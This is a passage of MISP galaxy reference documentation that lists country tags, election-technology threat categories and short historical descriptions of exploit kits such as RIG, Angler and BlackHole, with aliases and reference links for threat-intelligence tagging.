The tag is: misp-galaxy:country="guernsey"

ghana

Ghana

The tag is: misp-galaxy:country="ghana"

gibraltar

Gibraltar

The tag is: misp-galaxy:country="gibraltar"

greenland

Greenland

The tag is: misp-galaxy:country="greenland"

gambia

Gambia

The tag is: misp-galaxy:country="gambia"

guinea

Guinea

The tag is: misp-galaxy:country="guinea"

guadeloupe

Guadeloupe

The tag is: misp-galaxy:country="guadeloupe"

equatorial guinea

Equatorial Guinea

The tag is: misp-galaxy:country="equatorial guinea"

greece

Greece

The tag is: misp-galaxy:country="greece"

south georgia and the south sandwich islands

South Georgia and the South Sandwich Islands

The tag is: misp-galaxy:country="south georgia and the south sandwich islands"

guatemala

Guatemala

The tag is: misp-galaxy:country="guatemala"

guam

Guam

The tag is: misp-galaxy:country="guam"

guinea-bissau

Guinea-Bissau

The tag is: misp-galaxy:country="guinea-bissau"

guyana

Guyana

The tag is: misp-galaxy:country="guyana"

hong kong

Hong Kong

The tag is: misp-galaxy:country="hong kong"

heard island and mcdonald islands

Heard Island and McDonald Islands

The tag is: misp-galaxy:country="heard island and mcdonald islands"

honduras

Honduras

The tag is: misp-galaxy:country="honduras"

croatia

Croatia

The tag is: misp-galaxy:country="croatia"

haiti

Haiti

The tag is: misp-galaxy:country="haiti"

hungary

Hungary

The tag is: misp-galaxy:country="hungary"

indonesia

Indonesia

The tag is: misp-galaxy:country="indonesia"

ireland

Ireland

The tag is: misp-galaxy:country="ireland"

israel

Israel

The tag is: misp-galaxy:country="israel"

isle of man

Isle of Man

The tag is: misp-galaxy:country="isle of man"

india

India

The tag is: misp-galaxy:country="india"

british indian ocean territory

British Indian Ocean Territory

The tag is: misp-galaxy:country="british indian ocean territory"

iraq

Iraq

The tag is: misp-galaxy:country="iraq"

iran

Iran

The tag is: misp-galaxy:country="iran"

iceland

Iceland

The tag is: misp-galaxy:country="iceland"

italy

Italy

The tag is: misp-galaxy:country="italy"

jersey

Jersey

The tag is: misp-galaxy:country="jersey"

jamaica

Jamaica

The tag is: misp-galaxy:country="jamaica"

jordan

Jordan

The tag is: misp-galaxy:country="jordan"

japan

Japan

The tag is: misp-galaxy:country="japan"

kenya

Kenya

The tag is: misp-galaxy:country="kenya"

kyrgyzstan

Kyrgyzstan

The tag is: misp-galaxy:country="kyrgyzstan"

cambodia

Cambodia

The tag is: misp-galaxy:country="cambodia"

kiribati

Kiribati

The tag is: misp-galaxy:country="kiribati"

comoros

Comoros

The tag is: misp-galaxy:country="comoros"

saint kitts and nevis

Saint Kitts and Nevis

The tag is: misp-galaxy:country="saint kitts and nevis"

north korea

North Korea

The tag is: misp-galaxy:country="north korea"

south korea

South Korea

The tag is: misp-galaxy:country="south korea"

kosovo

Kosovo

The tag is: misp-galaxy:country="kosovo"

kuwait

Kuwait

The tag is: misp-galaxy:country="kuwait"

cayman islands

Cayman Islands

The tag is: misp-galaxy:country="cayman islands"

kazakhstan

Kazakhstan

The tag is: misp-galaxy:country="kazakhstan"

laos

Laos

The tag is: misp-galaxy:country="laos"

lebanon

Lebanon

The tag is: misp-galaxy:country="lebanon"

saint lucia

Saint Lucia

The tag is: misp-galaxy:country="saint lucia"

liechtenstein

Liechtenstein

The tag is: misp-galaxy:country="liechtenstein"

sri lanka

Sri Lanka

The tag is: misp-galaxy:country="sri lanka"

liberia

Liberia

The tag is: misp-galaxy:country="liberia"

lesotho

Lesotho

The tag is: misp-galaxy:country="lesotho"

lithuania

Lithuania

The tag is: misp-galaxy:country="lithuania"

luxembourg

Luxembourg

The tag is: misp-galaxy:country="luxembourg"

latvia

Latvia

The tag is: misp-galaxy:country="latvia"

libya

Libya

The tag is: misp-galaxy:country="libya"

morocco

Morocco

The tag is: misp-galaxy:country="morocco"

monaco

Monaco

The tag is: misp-galaxy:country="monaco"

moldova

Moldova

The tag is: misp-galaxy:country="moldova"

montenegro

Montenegro

The tag is: misp-galaxy:country="montenegro"

saint martin

Saint Martin

The tag is: misp-galaxy:country="saint martin"

madagascar

Madagascar

The tag is: misp-galaxy:country="madagascar"

marshall islands

Marshall Islands

The tag is: misp-galaxy:country="marshall islands"

north macedonia

North Macedonia

The tag is: misp-galaxy:country="north macedonia"

mali

Mali

The tag is: misp-galaxy:country="mali"

myanmar

Myanmar

The tag is: misp-galaxy:country="myanmar"

mongolia

Mongolia

The tag is: misp-galaxy:country="mongolia"

macao

Macao

The tag is: misp-galaxy:country="macao"

northern mariana islands

Northern Mariana Islands

The tag is: misp-galaxy:country="northern mariana islands"

martinique

Martinique

The tag is: misp-galaxy:country="martinique"

mauritania

Mauritania

The tag is: misp-galaxy:country="mauritania"

montserrat

Montserrat

The tag is: misp-galaxy:country="montserrat"

malta

Malta

The tag is: misp-galaxy:country="malta"

mauritius

Mauritius

The tag is: misp-galaxy:country="mauritius"

maldives

Maldives

The tag is: misp-galaxy:country="maldives"

malawi

Malawi

The tag is: misp-galaxy:country="malawi"

mexico

Mexico

The tag is: misp-galaxy:country="mexico"

malaysia

Malaysia

The tag is: misp-galaxy:country="malaysia"

mozambique

Mozambique

The tag is: misp-galaxy:country="mozambique"

namibia

Namibia

The tag is: misp-galaxy:country="namibia"

new caledonia

New Caledonia

The tag is: misp-galaxy:country="new caledonia"

niger

Niger

The tag is: misp-galaxy:country="niger"

norfolk island

Norfolk Island

The tag is: misp-galaxy:country="norfolk island"

nigeria

Nigeria

The tag is: misp-galaxy:country="nigeria"

nicaragua

Nicaragua

The tag is: misp-galaxy:country="nicaragua"

netherlands

Netherlands

The tag is: misp-galaxy:country="netherlands"

norway

Norway

The tag is: misp-galaxy:country="norway"

nepal

Nepal

The tag is: misp-galaxy:country="nepal"

nauru

Nauru

The tag is: misp-galaxy:country="nauru"

niue

Niue

The tag is: misp-galaxy:country="niue"

new zealand

New Zealand

The tag is: misp-galaxy:country="new zealand"

oman

Oman

The tag is: misp-galaxy:country="oman"

panama

Panama

The tag is: misp-galaxy:country="panama"

peru

Peru

The tag is: misp-galaxy:country="peru"

french polynesia

French Polynesia

The tag is: misp-galaxy:country="french polynesia"

papua new guinea

Papua New Guinea

The tag is: misp-galaxy:country="papua new guinea"

philippines

Philippines

The tag is: misp-galaxy:country="philippines"

pakistan

Pakistan

The tag is: misp-galaxy:country="pakistan"

poland

Poland

The tag is: misp-galaxy:country="poland"

saint pierre and miquelon

Saint Pierre and Miquelon

The tag is: misp-galaxy:country="saint pierre and miquelon"

pitcairn

Pitcairn

The tag is: misp-galaxy:country="pitcairn"

puerto rico

Puerto Rico

The tag is: misp-galaxy:country="puerto rico"

palestinian territory

Palestinian Territory

The tag is: misp-galaxy:country="palestinian territory"

portugal

Portugal

The tag is: misp-galaxy:country="portugal"

palau

Palau

The tag is: misp-galaxy:country="palau"

paraguay

Paraguay

The tag is: misp-galaxy:country="paraguay"

qatar

Qatar

The tag is: misp-galaxy:country="qatar"

reunion

Reunion

The tag is: misp-galaxy:country="reunion"

romania

Romania

The tag is: misp-galaxy:country="romania"

serbia

Serbia

The tag is: misp-galaxy:country="serbia"

russia

Russia

The tag is: misp-galaxy:country="russia"

rwanda

Rwanda

The tag is: misp-galaxy:country="rwanda"

saudi arabia

Saudi Arabia

The tag is: misp-galaxy:country="saudi arabia"

solomon islands

Solomon Islands

The tag is: misp-galaxy:country="solomon islands"

seychelles

Seychelles

The tag is: misp-galaxy:country="seychelles"

sudan

Sudan

The tag is: misp-galaxy:country="sudan"

south sudan

South Sudan

The tag is: misp-galaxy:country="south sudan"

sweden

Sweden

The tag is: misp-galaxy:country="sweden"

singapore

Singapore

The tag is: misp-galaxy:country="singapore"

saint helena

Saint Helena

The tag is: misp-galaxy:country="saint helena"

slovenia

Slovenia

The tag is: misp-galaxy:country="slovenia"

svalbard and jan mayen

Svalbard and Jan Mayen

The tag is: misp-galaxy:country="svalbard and jan mayen"

slovakia

Slovakia

The tag is: misp-galaxy:country="slovakia"

sierra leone

Sierra Leone

The tag is: misp-galaxy:country="sierra leone"

san marino

San Marino

The tag is: misp-galaxy:country="san marino"

senegal

Senegal

The tag is: misp-galaxy:country="senegal"

somalia

Somalia

The tag is: misp-galaxy:country="somalia"

suriname

Suriname

The tag is: misp-galaxy:country="suriname"

sao tome and principe

Sao Tome and Principe

The tag is: misp-galaxy:country="sao tome and principe"

el salvador

El Salvador

The tag is: misp-galaxy:country="el salvador"

sint maarten

Sint Maarten

The tag is: misp-galaxy:country="sint maarten"

syria

Syria

The tag is: misp-galaxy:country="syria"

eswatini

Eswatini

The tag is: misp-galaxy:country="eswatini"

turks and caicos islands

Turks and Caicos Islands

The tag is: misp-galaxy:country="turks and caicos islands"

chad

Chad

The tag is: misp-galaxy:country="chad"

french southern territories

French Southern Territories

The tag is: misp-galaxy:country="french southern territories"

togo

Togo

The tag is: misp-galaxy:country="togo"

thailand

Thailand

The tag is: misp-galaxy:country="thailand"

tajikistan

Tajikistan

The tag is: misp-galaxy:country="tajikistan"

tokelau

Tokelau

The tag is: misp-galaxy:country="tokelau"

timor leste

Timor Leste

The tag is: misp-galaxy:country="timor leste"

turkmenistan

Turkmenistan

The tag is: misp-galaxy:country="turkmenistan"

tunisia

Tunisia

The tag is: misp-galaxy:country="tunisia"

tonga

Tonga

The tag is: misp-galaxy:country="tonga"

turkey

Turkey

The tag is: misp-galaxy:country="turkey"

trinidad and tobago

Trinidad and Tobago

The tag is: misp-galaxy:country="trinidad and tobago"

tuvalu

Tuvalu

The tag is: misp-galaxy:country="tuvalu"

taiwan

Taiwan

The tag is: misp-galaxy:country="taiwan"

tanzania

Tanzania

The tag is: misp-galaxy:country="tanzania"

ukraine

Ukraine

The tag is: misp-galaxy:country="ukraine"

uganda

Uganda

The tag is: misp-galaxy:country="uganda"

united states minor outlying islands

United States Minor Outlying Islands

The tag is: misp-galaxy:country="united states minor outlying islands"

united states

United States

The tag is: misp-galaxy:country="united states"

uruguay

Uruguay

The tag is: misp-galaxy:country="uruguay"

uzbekistan

Uzbekistan

The tag is: misp-galaxy:country="uzbekistan"

vatican

Vatican

The tag is: misp-galaxy:country="vatican"

saint vincent and the grenadines

Saint Vincent and the Grenadines

The tag is: misp-galaxy:country="saint vincent and the grenadines"

venezuela

Venezuela

The tag is: misp-galaxy:country="venezuela"

british virgin islands

British Virgin Islands

The tag is: misp-galaxy:country="british virgin islands"

u.s. virgin islands

U.S. Virgin Islands

The tag is: misp-galaxy:country="u.s. virgin islands"

vietnam

Vietnam

The tag is: misp-galaxy:country="vietnam"

vanuatu

Vanuatu

The tag is: misp-galaxy:country="vanuatu"

wallis and futuna

Wallis and Futuna

The tag is: misp-galaxy:country="wallis and futuna"

samoa

Samoa

The tag is: misp-galaxy:country="samoa"

yemen

Yemen

The tag is: misp-galaxy:country="yemen"

mayotte

Mayotte

The tag is: misp-galaxy:country="mayotte"

south africa

South Africa

The tag is: misp-galaxy:country="south africa"

zambia

Zambia

The tag is: misp-galaxy:country="zambia"

zimbabwe

Zimbabwe

The tag is: misp-galaxy:country="zimbabwe"

serbia and montenegro

Serbia and Montenegro

The tag is: misp-galaxy:country="serbia and montenegro"

netherlands antilles

Netherlands Antilles

The tag is: misp-galaxy:country="netherlands antilles"

Election guidelines

Universal Development and Security Guidelines as Applicable to Election Technology..

Election guidelines is a cluster galaxy available in JSON format at this location The JSON format can be freely reused in your application or automatically enabled in MISP.

authors: NIS Cooperation Group

Tampering with registrations

The tag is: misp-galaxy:guidelines="Tampering with registrations"

Table 714. Table References
Links
https://www.ria.ee/sites/default/files/content-editors/kuberturve/cyber_security_of_election_technology.pdf

DoS or overload of party/campaign registration, causing them to miss the deadline

The tag is: misp-galaxy:guidelines="DoS or overload of party/campaign registration, causing them to miss the deadline"

Table 715. Table References
Links
https://www.ria.ee/sites/default/files/content-editors/kuberturve/cyber_security_of_election_technology.pdf

Fabricated signatures from sponsor

The tag is: misp-galaxy:guidelines="Fabricated signatures from sponsor"

Table 716. Table References
Links
https://www.ria.ee/sites/default/files/content-editors/kuberturve/cyber_security_of_election_technology.pdf

Identity fraud during voter registration

The tag is: misp-galaxy:guidelines="Identity fraud during voter registration"

Table 717. Table References
Links
https://www.ria.ee/sites/default/files/content-editors/kuberturve/cyber_security_of_election_technology.pdf

Deleting or tampering with voter data

The tag is: misp-galaxy:guidelines="Deleting or tampering with voter data"

Table 718. Table References
Links
https://www.ria.ee/sites/default/files/content-editors/kuberturve/cyber_security_of_election_technology.pdf

DoS or overload of voter registration system, suppressing voters

The tag is: misp-galaxy:guidelines="DoS or overload of voter registration system, suppressing voters"

Table 719. Table References
Links
https://www.ria.ee/sites/default/files/content-editors/kuberturve/cyber_security_of_election_technology.pdf

Hacking candidate laptops or email accounts

The tag is: misp-galaxy:guidelines="Hacking candidate laptops or email accounts"

Table 720. Table References
Links
https://www.ria.ee/sites/default/files/content-editors/kuberturve/cyber_security_of_election_technology.pdf

Hacking campaign websites (defacement, DoS)

The tag is: misp-galaxy:guidelines="Hacking campaign websites (defacement, DoS)"

Table 721. Table References
Links
https://www.ria.ee/sites/default/files/content-editors/kuberturve/cyber_security_of_election_technology.pdf

Misconfiguration of a website

The tag is: misp-galaxy:guidelines="Misconfiguration of a website"

Table 722. Table References
Links
https://www.ria.ee/sites/default/files/content-editors/kuberturve/cyber_security_of_election_technology.pdf

Leak of confidential information

The tag is: misp-galaxy:guidelines="Leak of confidential information"

Table 723. Table References
Links
https://www.ria.ee/sites/default/files/content-editors/kuberturve/cyber_security_of_election_technology.pdf

Hacking/misconfiguration of government servers, communication networks, or endpoints

The tag is: misp-galaxy:guidelines="Hacking/misconfiguration of government servers, communication networks, or endpoints"

Table 724. Table References
Links
https://www.ria.ee/sites/default/files/content-editors/kuberturve/cyber_security_of_election_technology.pdf

Hacking campaign websites, spreading misinformation on the election process, registered parties/candidates, or results

Hacking government websites, spreading misinformation on the election process, registered parties/candidates, or results

The tag is: misp-galaxy:guidelines="Hacking campaign websites, spreading misinformation on the election process, registered parties/candidates, or results"

Table 725. Table References
Links
https://www.ria.ee/sites/default/files/content-editors/kuberturve/cyber_security_of_election_technology.pdf

DoS or overload of government websites

The tag is: misp-galaxy:guidelines="DoS or overload of government websites"

Table 726. Table References
Links
https://www.ria.ee/sites/default/files/content-editors/kuberturve/cyber_security_of_election_technology.pdf

Tampering or DoS of voting and/or vote confidentiality during or after the elections

The tag is: misp-galaxy:guidelines="Tampering or DoS of voting and/or vote confidentiality during or after the elections"

Table 727. Table References
Links
https://www.ria.ee/sites/default/files/content-editors/kuberturve/cyber_security_of_election_technology.pdf

Software bug altering results

The tag is: misp-galaxy:guidelines="Software bug altering results"

Table 728. Table References
Links
https://www.ria.ee/sites/default/files/content-editors/kuberturve/cyber_security_of_election_technology.pdf

Tampering with logs/journals

The tag is: misp-galaxy:guidelines="Tampering with logs/journals"

Table 729. Table References
Links
https://www.ria.ee/sites/default/files/content-editors/kuberturve/cyber_security_of_election_technology.pdf

Breach of voters privacy during the casting of votes

The tag is: misp-galaxy:guidelines="Breach of voters privacy during the casting of votes"

Table 730. Table References
Links
https://www.ria.ee/sites/default/files/content-editors/kuberturve/cyber_security_of_election_technology.pdf

Tampering, DoS or overload of the systems used for counting or aggregating results

The tag is: misp-galaxy:guidelines="Tampering, DoS or overload of the systems used for counting or aggregating results"

Table 731. Table References
Links
https://www.ria.ee/sites/default/files/content-editors/kuberturve/cyber_security_of_election_technology.pdf

Tampering or DoS of communication links uesd to transfer (interim) results

The tag is: misp-galaxy:guidelines="Tampering or DoS of communication links uesd to transfer (interim) results"

Table 732. Table References
Links
https://www.ria.ee/sites/default/files/content-editors/kuberturve/cyber_security_of_election_technology.pdf

Tampering with supply chain involved in the movement or transfer data

The tag is: misp-galaxy:guidelines="Tampering with supply chain involved in the movement or transfer data"

Table 733. Table References
Links
https://www.ria.ee/sites/default/files/content-editors/kuberturve/cyber_security_of_election_technology.pdf

Hacking of internal systems used by media or press

The tag is: misp-galaxy:guidelines="Hacking of internal systems used by media or press"

Table 734. Table References
Links
https://www.ria.ee/sites/default/files/content-editors/kuberturve/cyber_security_of_election_technology.pdf

Tampering, DoS, or overload of media communication links

The tag is: misp-galaxy:guidelines="Tampering, DoS, or overload of media communication links"

Table 735. Table References
Links
https://www.ria.ee/sites/default/files/content-editors/kuberturve/cyber_security_of_election_technology.pdf

Defacement, DoS or overload of websites or other systems used for publication of the results

The tag is: misp-galaxy:guidelines="Defacement, DoS or overload of websites or other systems used for publication of the results"

Table 736. Table References
Links
https://www.ria.ee/sites/default/files/content-editors/kuberturve/cyber_security_of_election_technology.pdf

Exploit-Kit

Exploit-Kit is an enumeration of some exploitation kits used by adversaries. The list includes document, browser and router exploit kits.It’s not meant to be totally exhaustive but aim at covering the most seen in the past 5 years.

Exploit-Kit is a cluster galaxy available in JSON format at this location The JSON format can be freely reused in your application or automatically enabled in MISP.

authors: Kafeine - Will Metcalf - KahuSecurity

Astrum

Astrum Exploit Kit is a private Exploit Kit used in massive scale malvertising campaigns. It’s notable by its use of Steganography

The tag is: misp-galaxy:exploit-kit="Astrum"

Astrum is also known as:

Stegano EK

Table 737. Table References
Links
http://malware.dontneedcoffee.com/2014/09/astrum-ek.html
http://www.welivesecurity.com/2016/12/06/readers-popular-websites-targeted-stealthy-stegano-exploit-kit-hiding-pixels-malicious-ads/

Underminer

Underminer EK is an exploit kit that seems to be used privately against users in Asia. Functionalities: browser profiling and filtering, preventing of client revisits, URL randomization, and asymmetric encryption of payloads.

The tag is: misp-galaxy:exploit-kit="Underminer"

Underminer is also known as:

Underminer EK

Table 738. Table References
Links
https://blog.trendmicro.com/trendlabs-security-intelligence/new-underminer-exploit-kit-delivers-bootkit-and-cryptocurrency-mining-malware-with-encrypted-tcp-tunnel/
http://bobao.360.cn/interref/detail/248.html

Fallout

Fallout Exploit Kit appeared at the end of August 2018 as an updated Nuclear Pack featuring current exploits seen in competiting Exploit Kit.

The tag is: misp-galaxy:exploit-kit="Fallout"

Fallout is also known as:

Fallout

Fallout has relationships with:

dropped: misp-galaxy:ransomware="GandCrab" with estimative-language:likelihood-probability="almost-certain"

Table 739. Table References
Links
https://www.nao-sec.org/2018/09/hello-fallout-exploit-kit.html
https://www.bleepingcomputer.com/news/security/new-fallout-exploit-kit-drops-gandcrab-ransomware-or-redirects-to-pups/
https://www.bleepingcomputer.com/news/security/fallout-exploit-kit-now-installing-the-kraken-cryptor-ransomware/

Bingo

Bingo EK is the name chosen by the defense for a Fiesta-ish EK first spotted in March 2017 and targetting at that times mostly Russia

The tag is: misp-galaxy:exploit-kit="Bingo"

Terror EK

Terror EK is built on Hunter, Sundown and RIG EK code

The tag is: misp-galaxy:exploit-kit="Terror EK"

Terror EK is also known as:

Blaze EK
Neptune EK

Table 740. Table References
Links
https://www.trustwave.com/Resources/SpiderLabs-Blog/Terror-Exploit-Kit—More-like-Error-Exploit-Kit/

DealersChoice

DealersChoice is a Flash Player Exploit platform triggered by RTF.

DealersChoice is a platform that generates malicious documents containing embedded Adobe Flash files. Palo Alto Network researchers analyzed two variants — variant A, which is a standalone variant including Flash exploit code packaged with a payload, and variant B, which is a modular variant that loads exploit code on demand. This new component appeared in 2016 and is still in use.

The tag is: misp-galaxy:exploit-kit="DealersChoice"

DealersChoice is also known as:

Sednit RTF EK

Table 741. Table References
Links
http://researchcenter.paloaltonetworks.com/2016/10/unit42-dealerschoice-sofacys-flash-player-exploit-platform/
http://blog.trendmicro.com/trendlabs-security-intelligence/pawn-storm-ramps-up-spear-phishing-before-zero-days-get-patched/
https://www.welivesecurity.com/2017/12/21/sednit-update-fancy-bear-spent-year/

DNSChanger

DNSChanger Exploit Kit is an exploit kit targeting Routers via the browser

The tag is: misp-galaxy:exploit-kit="DNSChanger"

DNSChanger is also known as:

RouterEK

Table 742. Table References
Links
http://malware.dontneedcoffee.com/2015/05/an-exploit-kit-dedicated-to-csrf.html
https://www.proofpoint.com/us/threat-insight/post/home-routers-under-attack-malvertising-windows-android-devices

Novidade

Novidade Exploit Kit is an exploit kit targeting Routers via the browser

The tag is: misp-galaxy:exploit-kit="Novidade"

Novidade is also known as:

DNSGhost

Table 743. Table References
Links
https://blog.trendmicro.com/trendlabs-security-intelligence/new-exploit-kit-novidade-found-targeting-home-and-soho-routers/

Disdain

Disdain EK has been introduced on underground forum on 2017-08-07. The panel is stolen from Sundown, the pattern are Terror alike and the obfuscation reminds Nebula

The tag is: misp-galaxy:exploit-kit="Disdain"

Table 744. Table References
Links
http://blog.trendmicro.com/trendlabs-security-intelligence/new-disdain-exploit-kit-detected-wild/

Kaixin

Kaixin is an exploit kit mainly seen behind compromised website in Asia

The tag is: misp-galaxy:exploit-kit="Kaixin"

Kaixin is also known as:

CK vip

Table 745. Table References
Links
http://www.kahusecurity.com/2013/deobfuscating-the-ck-exploit-kit/
http://www.kahusecurity.com/2012/new-chinese-exploit-pack/

Magnitude

Magnitude EK

The tag is: misp-galaxy:exploit-kit="Magnitude"

Magnitude is also known as:

Popads EK
TopExp
Magniber
Magnitude EK

Table 746. Table References
Links
http://malware.dontneedcoffee.com/2013/10/Magnitude.html
https://www.trustwave.com/Resources/SpiderLabs-Blog/A-Peek-Into-the-Lion-s-Den-%E2%80%93-The-Magnitude—aka-PopAds—Exploit-Kit/
http://malware.dontneedcoffee.com/2014/02/and-real-name-of-magnitude-is.html
https://community.rsa.com/community/products/netwitness/blog/2017/02/09/magnitude-exploit-kit-under-the-hood

MWI

Microsoft Word Intruder is an exploit kit focused on Word and embedded flash exploits. The author wants to avoid their customer to use it in mass spam campaign, so it’s most often connected to semi-targeted attacks

The tag is: misp-galaxy:exploit-kit="MWI"

Table 747. Table References
Links
https://www.fireeye.com/blog/threat-research/2015/04/a_new_word_document.html
https://www.sophos.com/en-us/medialibrary/PDFs/technical%20papers/sophos-microsoft-word-intruder-revealed.pdf

ThreadKit

ThreadKit is the name given to a widely used Microsoft Office document exploit builder kit that appeared in June 2017

The tag is: misp-galaxy:exploit-kit="ThreadKit"

Table 748. Table References
Links
https://www.proofpoint.com/us/threat-insight/post/unraveling-ThreadKit-new-document-exploit-builder-distribute-The-Trick-Formbook-Loki-Bot-malware

VenomKit

VenomKit is the name given to a kit sold since april 2017 as "Word 1day exploit builder" by user badbullzvenom. Author allows only use in targeted campaign. Is used for instance by the "Cobalt Gang"

The tag is: misp-galaxy:exploit-kit="VenomKit"

VenomKit is also known as:

Venom

Table 749. Table References
Links
https://medium.com/@quoscient/golden-chickens-uncovering-a-malware-as-a-service-maas-provider-and-two-new-threat-actors-using-61cf0cb87648

Taurus Builder

Taurus Builder is a tool used to generate malicious MS Word documents that contain macros. The kit is advertised on forums by the user "badbullzvenom".

The tag is: misp-galaxy:exploit-kit="Taurus Builder"

RIG

RIG is an exploit kit that takes its source in Infinity EK itself an evolution of Redkit. It became dominant after the fall of Angler, Nuclear Pack and the end of public access to Neutrino. RIG-v is the name given to RIG 4 when it was only accessible by "vip" customers and when RIG 3 was still in use.

The tag is: misp-galaxy:exploit-kit="RIG"

RIG is also known as:

RIG 3
RIG-v
RIG 4
Meadgive

Table 750. Table References
Links
http://www.kahusecurity.com/2014/rig-exploit-pack/
https://www.trustwave.com/Resources/SpiderLabs-Blog/RIG-Reloaded---Examining-the-Architecture-of-RIG-Exploit-Kit-3-0/
https://www.trustwave.com/Resources/SpiderLabs-Blog/RIG-Exploit-Kit-%E2%80%93-Diving-Deeper-into-the-Infrastructure/
http://malware.dontneedcoffee.com/2016/10/rig-evolves-neutrino-waves-goodbye.html

Spelevo

Spelevo is an exploit kit that appeared at the end of February 2019 and could be an evolution of SPL EK

The tag is: misp-galaxy:exploit-kit="Spelevo"

Table 751. Table References
Links
https://twitter.com/kafeine/status/1103649040800145409

Sednit EK

Sednit EK is the exploit kit used by APT28

The tag is: misp-galaxy:exploit-kit="Sednit EK"

Sednit EK is also known as:

SedKit

Table 752. Table References
Links
http://www.welivesecurity.com/2014/10/08/sednit-espionage-group-now-using-custom-exploit-kit/
http://blog.trendmicro.com/trendlabs-security-intelligence/new-adobe-flash-zero-day-used-in-pawn-storm-campaign/

Sundown-P

Sundown-P/Sundown-Pirate is a rip of Sundown seen used in a private way (One group using it only) - First spotted at the end of June 2017, branded as CaptainBlack in August 2017

The tag is: misp-galaxy:exploit-kit="Sundown-P"

Sundown-P is also known as:

Sundown-Pirate
CaptainBlack

Table 753. Table References
Links
http://blog.trendmicro.com/trendlabs-security-intelligence/promediads-malvertising-sundown-pirate-exploit-kit/

Bizarro Sundown

Bizarro Sundown appears to be a fork of Sundown with added anti-analysis features

The tag is: misp-galaxy:exploit-kit="Bizarro Sundown"

Bizarro Sundown is also known as:

Sundown-b

Table 754. Table References
Links
http://blog.trendmicro.com/trendlabs-security-intelligence/new-bizarro-sundown-exploit-kit-spreads-locky/
https://blog.malwarebytes.com/cybercrime/exploits/2016/10/yet-another-sundown-ek-variant/

Hunter

Hunter EK is an evolution of 3Ros EK

The tag is: misp-galaxy:exploit-kit="Hunter"

Hunter is also known as:

3ROS Exploit Kit

Hunter has relationships with:

similar: misp-galaxy:tool="Tinba" with estimative-language:likelihood-probability="likely"

Table 755. Table References
Links
https://www.proofpoint.com/us/threat-insight/post/Hunter-Exploit-Kit-Targets-Brazilian-Banking-Customers

GreenFlash Sundown

GreenFlash Sundown is a variation of Bizarro Sundown without landing

The tag is: misp-galaxy:exploit-kit="GreenFlash Sundown"

GreenFlash Sundown is also known as:

Sundown-GF

Table 756. Table References
Links
http://blog.trendmicro.com/trendlabs-security-intelligence/new-bizarro-sundown-exploit-kit-spreads-locky/

Angler

The Angler Exploit Kit has been the most popular and evolved exploit kit from 2014 to middle of 2016. There was several variation. The historical "indexm" variant was used to spread Lurk. A vip version used notabily to spread Poweliks, the "standard" commercial version, and a declinaison tied to load selling (mostly bankers) that can be associated to EmpirePPC

The tag is: misp-galaxy:exploit-kit="Angler"

Angler is also known as:

XXX
AEK
Axpergle

Table 757. Table References
Links
https://blogs.sophos.com/2015/07/21/a-closer-look-at-the-angler-exploit-kit/
http://malware.dontneedcoffee.com/2015/12/xxx-is-angler-ek.html
http://malware.dontneedcoffee.com/2016/06/is-it-end-of-angler.html

Archie

Archie EK

The tag is: misp-galaxy:exploit-kit="Archie"

Table 758. Table References
Links
https://www.alienvault.com/blogs/labs-research/archie-just-another-exploit-kit

BlackHole

The BlackHole Exploit Kit has been the most popular exploit kit from 2011 to 2013. Its activity stopped with Paunch’s arrest (all activity since then is anecdotal and based on an old leak)

The tag is: misp-galaxy:exploit-kit="BlackHole"

BlackHole is also known as:

BHEK

BlackHole has relationships with:

similar: misp-galaxy:rat="BlackHole" with estimative-language:likelihood-probability="likely"

Table 759. Table References
Links
https://www.trustwave.com/Resources/SpiderLabs-Blog/Blackhole-Exploit-Kit-v2/
https://nakedsecurity.sophos.com/exploring-the-blackhole-exploit-kit/

Bleeding Life

Bleeding Life is an exploit kit that became open source with its version 2

The tag is: misp-galaxy:exploit-kit="Bleeding Life"

Bleeding Life is also known as:

Table 760. Table References
Links
http://www.kahusecurity.com/2011/flash-used-in-idol-malvertisement/
http://thehackernews.com/2011/10/bleeding-life-2-exploit-pack-released.html

Cool

The Cool Exploit Kit was a kind of BlackHole VIP in 2012/2013

The tag is: misp-galaxy:exploit-kit="Cool"

Cool is also known as:

CEK
Styxy Cool

Table 761. Table References
Links
http://malware.dontneedcoffee.com/2012/10/newcoolek.html
http://malware.dontneedcoffee.com/2013/07/a-styxy-cool-ek.html
http://blog.trendmicro.com/trendlabs-security-intelligence/styx-exploit-pack-how-it-works/

Fiesta

Fiesta Exploit Kit

The tag is: misp-galaxy:exploit-kit="Fiesta"

Fiesta is also known as:

NeoSploit
Fiexp

Table 762. Table References
Links
http://blog.0x3a.com/post/110052845124/an-in-depth-analysis-of-the-fiesta-exploit-kit-an
http://www.kahusecurity.com/2011/neosploit-is-back/

Empire

The Empire Pack is a variation of RIG operated by a load seller. It’s being fed by many traffic actors

The tag is: misp-galaxy:exploit-kit="Empire"

Empire is also known as:

RIG-E

Empire has relationships with:

similar: misp-galaxy:tool="Empire" with estimative-language:likelihood-probability="likely"

Table 763. Table References
Links
http://malware.dontneedcoffee.com/2016/10/rig-evolves-neutrino-waves-goodbye.html

FlashPack

FlashPack EK got multiple fork. The most common variant seen was the standalone Flash version

The tag is: misp-galaxy:exploit-kit="FlashPack"

FlashPack is also known as:

FlashEK
SafePack
CritXPack
Vintage Pack

Table 764. Table References
Links
http://malware.dontneedcoffee.com/2012/11/meet-critxpack-previously-vintage-pack.html
http://malware.dontneedcoffee.com/2013/04/meet-safe-pack-v20-again.html

Glazunov

Glazunov is an exploit kit mainly seen behind compromised website in 2012 and 2013. Glazunov compromission is likely the ancestor activity of what became EITest in July 2014. Sibhost and Flimkit later shown similarities with this Exploit Kit

The tag is: misp-galaxy:exploit-kit="Glazunov"

Table 765. Table References
Links
https://nakedsecurity.sophos.com/2013/06/24/taking-a-closer-look-at-the-glazunov-exploit-kit/

GrandSoft

GrandSoft Exploit Kit was a quite common exploit kit used in 2012/2013. Disappeared between march 2014 and September 2017

The tag is: misp-galaxy:exploit-kit="GrandSoft"

GrandSoft is also known as:

StampEK
SofosFO

Table 766. Table References
Links
http://malware.dontneedcoffee.com/2013/09/FinallyGrandSoft.html
http://malware.dontneedcoffee.com/2012/10/neosploit-now-showing-bh-ek-20-like.html
https://nakedsecurity.sophos.com/2012/08/24/sophos-sucks-malware/

HanJuan

Hanjuan EK was a one actor fed variation of Angler EK used in evolved malvertising chain targeting USA. It has been using a 0day (CVE-2015-0313) from beginning of December 2014 till beginning of February 2015

The tag is: misp-galaxy:exploit-kit="HanJuan"

Table 767. Table References
Links
http://www.malwaresigs.com/2013/10/14/unknown-ek/
https://blog.malwarebytes.com/threat-analysis/2014/08/shining-some-light-on-the-unknown-exploit-kit/
